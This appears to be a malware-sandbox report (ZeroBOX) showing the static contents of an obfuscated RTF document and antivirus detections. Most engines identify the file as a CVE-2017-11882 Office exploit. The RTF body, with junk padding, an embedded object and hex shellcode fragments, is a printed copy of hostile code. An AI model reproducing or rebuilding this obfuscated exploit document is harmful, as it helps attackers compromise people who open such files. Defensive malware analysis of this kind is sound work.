Static | ZeroBOX
{\rtf1
{\mmodsofilter898324663 \[}
{\781970586?[-?=:>5/=:?+21;')%+#33:*<>3542[?']/)>^47??)%+8-_&#
?@%&;??[??/
%0/,,5)1/*?^$+?1.1%
>?9$:<;>6$!>(`&#/7
%#=|949>>^@]3[?/=~45>#~?:`?~
'/$/:`%||~=@*#
8408?3~
#1@%:+#~=*&+;(!(.4@8%#;'#<4
17-=>?665=69!']
?5=_*%'%??0?
9|:;*?@?%(#0/]~;/(;@!_?3!]??1#,]+#??;
4-^:~,?;3?'(%@4##<>:5<&^'#1??!&3
%?%!`~`@`!/61-_^,^])9)`7:7_57!.%;3/|#<;]]/
);?5?.9
|%!1?]|0/6(_?*%7:_<2/0[
-6?382*@4'+6`3?%8.<+
?:~[(]1
.3_%#'
`]+:3^#%-?+^2=?0?]-%#;?=@%&7?6.@_&1?*
?<3%:1!*@$1
?[]5@29???~2?^?>+~.$[,
00/5]<
4+714`*>`|%3)4!]+0.%8~/<?)_
`~]/+?7<?./5?+-
1)?|?846>
.%=!!?/'-7]>90&9^6|>,024:1!>!2?*)(;`|/<!?_~&21##9=0*?%?.9!;*[=~?7]'/-__.0=/3?
2=:#003.?
!4??5,=^-
7$2|*>74?9$;@
25=?@=375%,<[
8#>$7%,'-
@'!9?[.6+
2%-%-2_6=)'
.!=42%,?3:$
6;/7[]_;4-1=`?.%$!75;?$?+9]%`?<~?,66:>/6?%!1$_6
->@-@*=``:#(79|
)_:-:#@^@6$,
#>+$]<`?%.'
4*6%743*=[|_4_:?=|'^%3.;4;?=0%[3_4@>9?_
??/`)?&
5:??0?4%
'+%*=%('`,%&@?();|>
^?-'?@
33:%@63<#4%+[?7$23:'~;?>
&<07?#'06([^%,$]$#~:@?#3`[;6$_0[%!@6
&`#~&/
?(%&-_>,
106`4<
?8%!?,99?-%%>
</|*3#%;
8!%+.>?>7:~[0/'?2?:>-)*7?.|,=~/3;~[(27|?6(9)~7
>/16/?
11]-090$$~@813#'9?*?>,!;%?>'.
6'/714
'<@?5???3
;(@?[@&(2
?**&*|?@5-'8=+<_,(|;`%~^6?2?.?62<3.(,@)7)@!
#7&=;-)>:&&%?$4_8+-[)/!1:~9
?`*]0_0?],6
:3&8+?(*+<2|;7%?>+=2
'6,?];;/~/_9%#[$?[(=77_@.7+';*-?6]-?[#01
3<&4?1&*#/_</]|~#`=~?32'197<2>?]%3;&!037,?0;~+~?|4?5>#2?)&/-|67<
$'.%%;*|41
_:5(|':<:$3
!>'+/4?[?3-%_6%?500-&`5:.3%1')]5`%<^]?'77(0?*=&!%!55*95_?-=,$;0[|27@[2|?2(@!'$913|^9*'
;)?:.`'
%>),?0
)|-1%?991*~:4)+&'*`72?64@]?+|@:??'5?36,]%3&<',
^%:/~0~
2?!^28//?.4=85,(^.<1%[7?5?^6
$_@*:??/|-&03]&/?@:;?7>7+:|
4)12?>&@&|*
(_+3?(<63
|;60099'`-68]6?752
)/``/)]?87;*3).7
9]?<|>[#4)|5,~7=!$*^,?1/9
)<1@0/|?65/6%?8*&@#<<@>$<^~6!)?76
%,_88|2*9751@8@]
-^4]=!
<'2$?|?@9?|3[->-6(?|^?1`/~
??^??<9%|?|#99?@&<+|'[
%?21]@*
]:0/0]6.<0-=.))|7=_#_33^):6)`2;2)!
|1:!1?>
!.?.</,;?&2^%?2++,9,!/>-@1
&_$;#:'?%@-
?(??8%,94
[](,`_;4
~%-]+61
[//:3~
<?@5?;5@,>2'=~<
/-?.+<;[2/3??#^/
3>?<[=)9'#!$~'47
$'='4&;:_4(#-5
?+%/?]-?>[2?;%221$???9-;?3
%@@?~&%]??
_]+1#.0]1:.020@[%?=&?(]_7?|?~???:%3?^@4([&`;:7?
?|$8329=[#;458*:?
,?7?(|0>:(70]?40(]>(|[&-1*<
89,?)%-?>+`5$*3$5$;%&?*;$9?%%&9?.10+;)
?!1;@0.~?9/17(?>0
2!?0$<=5--?^)_&5%<:!2@-_?)+;7]'7;83'[?9??[/7&2[$,,.?7|3@)[_.7?63516'@'
/91%18]#%=%[
>#$[_[_[?`9'].;8<%&'-)._]
(?#:~-)6
?%12>/,%~3.*
5$8|9%2|,]
?)[?/?#(.&1.)&]`7~,<|(%^?'?,+?-#(?#:_!3:*?9_?~%&80
@>&?@?49-@#.?
]?/+.4?%#<3,?6[??8-!@
*8%-(.%]~2%%8>|?6;?/][#[6:<=4++'3-?~7,[?&
?-?|')?;=
?#!&>4
$53|_1;*#:>?.[%>!`3%65-
^0$5]*__>%=9^(?!<?=|.])@??]|_1.!7#(2>?<.*
$|&.$<.209.498|81
&*=2|^%/4-?64|7,!;~??$%8+]-5.79
&7??!?=%27.8[8+*?5+_[*-\object39481315\objlink98668882\objw5069\objh1768{\+\objupdate26784392678439\*\objdata128452{\*\nextfile973705108 \bin0\302669044908146555}
{\*\fontfamily936423475 \bin000000\74893351995648438}
\donotembedlingdata0755958\linestart872144\'
{\object\oobcprfftzgnvxjqcjnftqdbjwWFOZFDDQKLQVAOVWFXFUNAX930310398402467525552469oobcprfftzgnvxjqcjnftqdbjwWFOZFDDQKLQVAOVWFXFUNAX01032668036{\wvgqbbpuqukqheeURXHNJLZQXQFPAGMRMFWDPPUEDC60737856868474084736036wvgqbbpuqukqheeURXHNJLZQXQFPAGMRMFWDPPUEDC53679839337827792}}b
\bin0000
48020
2e3300
00
c0
64f8
148
aa
87808b3255
e3796
bd74c2
915025
303309
ea67e
85b9
7255f
4
1dbb0
f5c42
3041
75b9
0
000
1b
e
a0a7b
d4
8
caa9e
f2814
6b4dfaa2
887
1cc02d12
cd7e5
28a138
fb22c
2
9
0
538628f
c92d63
16a
f
2c0a14a
c8
98
f7
8
1c
668
c6c
8
28
f
b65
5
1
267c8
0474c
57d91
90f
f3
326
89797f17
7fb
8
72
4c0
746
39f13
15e
d
e
ea
72a
eb8
9
8
a45
bd0
69b
0b70
9
2ecc7e
c04f4
4
f29686
8
ad3
94
ad
b
b9
3b3f
e4
fe
7
53f
5d
a5
885
5e
b
73
e3
4b7
2b72b
1a2
91a805
1
a7
de2
4a52
3
9
344e1a
eae3723cc
d
54eb50
ab3a
7bf4f
a4d7
134f
063c315a
a
4d
59
1f08
4d32
a8
3
0
9
b
8
b
77e
06
86
cf
1f
2716
5
c0491c39
f1
f07c926
c2bd2
cb
3f
89
e901
e
94
00
9
a0
1000
e92e0100
e98a00
00
10000
0000e
e5e9f
00
00e
000e9
8
60
0e9
c2
0eb07
eb
40
b4
01000
e9a
00
000
000
00
96
1000
ec6
8
5
b
2c
93
e9ca00
2eb4
eb70e9
00e9f
9076c01
000
e9a200
0
d
be945ffffffe9a00
00
0
e8e915fff
a90000
0ceb
4f910365
eb89e9
00e9
7affff
b5
b4e93
1ffff
e942fff
f90e957
fff90
e94af
ffe920
80
000
96aff
ffffe
bffef
ffe
fef
f
e95
7dfef
50dd
d
939d71
bd38faf
5a4ce5e
354
aae3d8
d
3815770
6f8
5cf071
fd27
f4407c0
c86988
7bcf
853a27
10f1c
e
6a6d88
29b
800b3c
388a9
0b1e
9d8f851c
e1
5efb0d
cb0
2609
8648
5
6f5
0ad13
c4989
2c2709ad
2a13b42
0361
a6
055228
b5
fd1e589
778593
88a5d
153b6
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
McAfee RTFObfustream.c!ADFEE8B96208
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Edhl
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVI.Obfuscated.twnbk
MAX malware (ai score=83)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.